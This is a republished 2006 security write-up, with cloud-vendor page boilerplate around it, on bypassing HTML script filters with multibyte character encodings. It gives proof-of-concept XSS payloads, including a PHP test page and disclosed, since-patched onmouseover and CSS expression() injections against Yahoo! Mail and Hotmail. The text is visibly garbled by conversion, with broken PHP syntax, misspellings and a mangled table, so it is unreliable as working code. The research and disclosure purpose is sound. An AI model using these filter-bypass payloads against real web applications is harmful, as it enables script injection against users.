Bypassing script filters with Variable-width encodings

Source: Internet
Author: User
Tags 0xc0
Author: Cheng Peng SU (applesoup_at_gmail.com)
Date: August 6, 2006

We 've all known that the main problem of constructing XSS attacks is
How to obfuscate malicious code. In the following paragraphs I will

Attempt to explain the concept of bypassing script filters
Variable-width encodings, and disclose the applications of this
Concept

Hotmail and Yahoo! Mail web-based mail services.

Variable-width encoding Introduction
==========================================

A Variable-width encoding (a. k. a variable-length encoding) is a type
Character encoding scheme in which codes of differing lengths are

Used to encode a character set. Most Common variable-width encodings
Are multibyte encodings, which use varying numbers of bytes to encode

Different characters. The first use of multibyte encodings was for
Encoding of Chinese, Japanese and Korean, which have large character

Sets well in excess of 256 characters. The Unicode Standard has two
Variable-width encodings: UTF-8 and UTF-16. The most commonly-used

Codes are two-byte codes. The EUC-CN form of gb2312, plus EUC-JP and
EUC-KR, are examples of such two-byte EUC codes. And there are also

Some three-byte and four-byte codes.

Example and discussion
======================================

The following is a PHP file from which I will start to introduce my idea.

------------------------------ Example. php --------------------------------

<HTML>
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = UTF-8">
</Head>
<Body>
<?

For ($ I = 0; I I <256; $ I ++ ){
Echo "char $ I is <font face = \" XYZ ". CHR ($ I)." \ "> not </font>"
. "<Font face = \" onmouseover = alert ($ I) notexist = ". CHR ($ I)." \ ">"
// Note: 5 space characters following the last \"
. "Available </font> \ r \ n <br> \ r \ n ";
}

?>
</Body>
</Html>

-------------------------------------------------------------------------

For most values of $ I, Internet Explorer 6.0 (SP2) will display "char
XXX is not available ". When $ I is between 192 (0xc0) and 255 (0xff), you

Can see "char XXX is available". Let's take $ I = 0xc0 for example,
Consider the following code:

Char 192 is <font face = "XYZ [0xc0]"> not </font> <font face ="
Onmouseover = alert (192) S = [0xc0] "> available </font>

0xc0 is one of the 32 First bytes of 2-byte sequences (0xc0-0xdf) in
UTF-8. So when IE parses the above code, it will consider 0xc0 and

Following quote as a sequence, and therefore these two pairs of font
Elements will become one with "XYZ [0xc0]"> not </font> <font face ="

The value of face parameter. The second 0xc0 will start another 2-byte
Sequence as a value of notexist parameter which is not quoted. Due

To a space character following by the quote, 0xe0-0xef which are first
Bytes of 3-byte sequences, together with the following quote and one

Space character will be considered as the value of notexist parameter.
And each of the first bytes of 4-byte sequences (0xf0-0xf7), 5-byte

Sequences (0xf8-0xfb), 6-byte sequences (0xfc-0xfd), together with
Following quote and space characters will be considered as one

Sequence.

Here are the results of the above Code parsed by Internet Explorer
6.0 (SP2), Firefox 1.5.0.6 and opera 9.0.1 in different variable-Width

Encodings respectively. Note that the numbers in the table are
Ranges of "available" characters.

+ ----------- +
| Ie | FF | op |
+ ----------- +
| UTF-8 | 0xc0-0xff | none |
+ ----------- +
| Gb2312 | 0x81-0xfe | none | 0x81-0xfe |
+ ----------- +
| Gb18030 | none | 0x81-0xfe |
+ ----------- +
| Big5 | 0x81-0xfe | none | 0x81-0xfe |
+ ----------- +
| EUC-KR | 0x81-0xfe | none | 0x81-0xfe |
+ ----------- +
| EUC-JP | 0x81-0x8d | 0x8f | 0x8e |
| 0x8f-0x9f | 0x8f |
| 0xa1-0xfe | 0xa1-0xfe |
+ ----------- +
| Shift_jis | 0x81-0x9f | 0x81-0x9f | 0x81-0x9f |
| 0xe0-0xfc | 0xe0-0xfc | 0xe0-0xfc |
+ ----------- +

Application
==============

I don't think there is a typical exploitation of bypassing script
Filters with Variable-width encodings, because the exploitation is
Very

Flexible. But you just need to remember that if the webapp use
Variable-width encodings, you can bury some characters following
Your

Entry, and the buried characters might be very crucial.

The above code might be exploited in general webapps which allow you
To add formatting to your entry in the same way as HTML does.

Example, in some forums, [font = Courier New] Message [/font] In Your
Message will be transformed into <font face = "courier
New "> message </font>.

Supposing it use UTF-8, we can attack by sending

[Font = xyz [0xc0] Buried [/font] [font = ABC onmouseover = alert ()
S = [0xc0] exploited [/font]

And it will be tranformed

<Font face = "XYZ [0xc0]"> buried </font> <font face = "ABC
Onmouseover = alert () S = [0xc0] "> exploited </font>

Again, the exploitation is very flexible, this font-font example is
Just an enlightening one. The following exploitaion to Yahoo! Mail is

Quite different from this one.

Disclosure
============

Using this method, I have found two XSS vulnerabilities in Hotmail and
Yahoo! Mail web-based mail services. I informed Yahoo and Microsoft

On limit L 30 and May 12 respectively. And they have patched the vulnerabilities.

Yahoo! Mail XSS
---------------

Before I discovered this vulnerability, Yahoo! Mail filtering engine
Cocould block "expression ()" syntax in a CSS attribute using a comment

To break up expression (expr/**/ession (). I used [0x81] with
Following asterisk to make a sequence, so that the second */wowould

Close the comment. But the filtering engine considered the first two
Comment symbol as a pair.

--------------------------------------------------------------------
Mime-type: 1.0
From: User <user@site.com>
Content-Type: text/html; charset = gb2312
Subject: Example

<Span style = 'width: expr/* [0x81] */ession (Alert () '> exploited </span>
.
--------------------------------------------------------------------

Hotmail XSS
-----------

This exploitation is almost the same as the example. php.

--------------------------------------------------------------------
Mime-type: 1.0
From: User <user@site.com>
Content-Type: text/html; charset = shift_jis
Subject: Example

<Font face = "[0x81]"> </font> <font face = "onmouseover = alert ()
S = [0x81] "> exploited </font>
.
--------------------------------------------------------------------

Reference
==========

Wikipedia: Variable-Width
Encoding (http://en.wikipedia.org/wiki/Variable-width_encoding)
RFC 3629, The UTF-8 standard (http://tools.ietf.org/html/rfc3629)
Rsnake: XSS cheat sheet (http://ha.ckers.org/xss.html)

(Original text: http://applesoup.googlepages.com/bypass_filter.txt)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.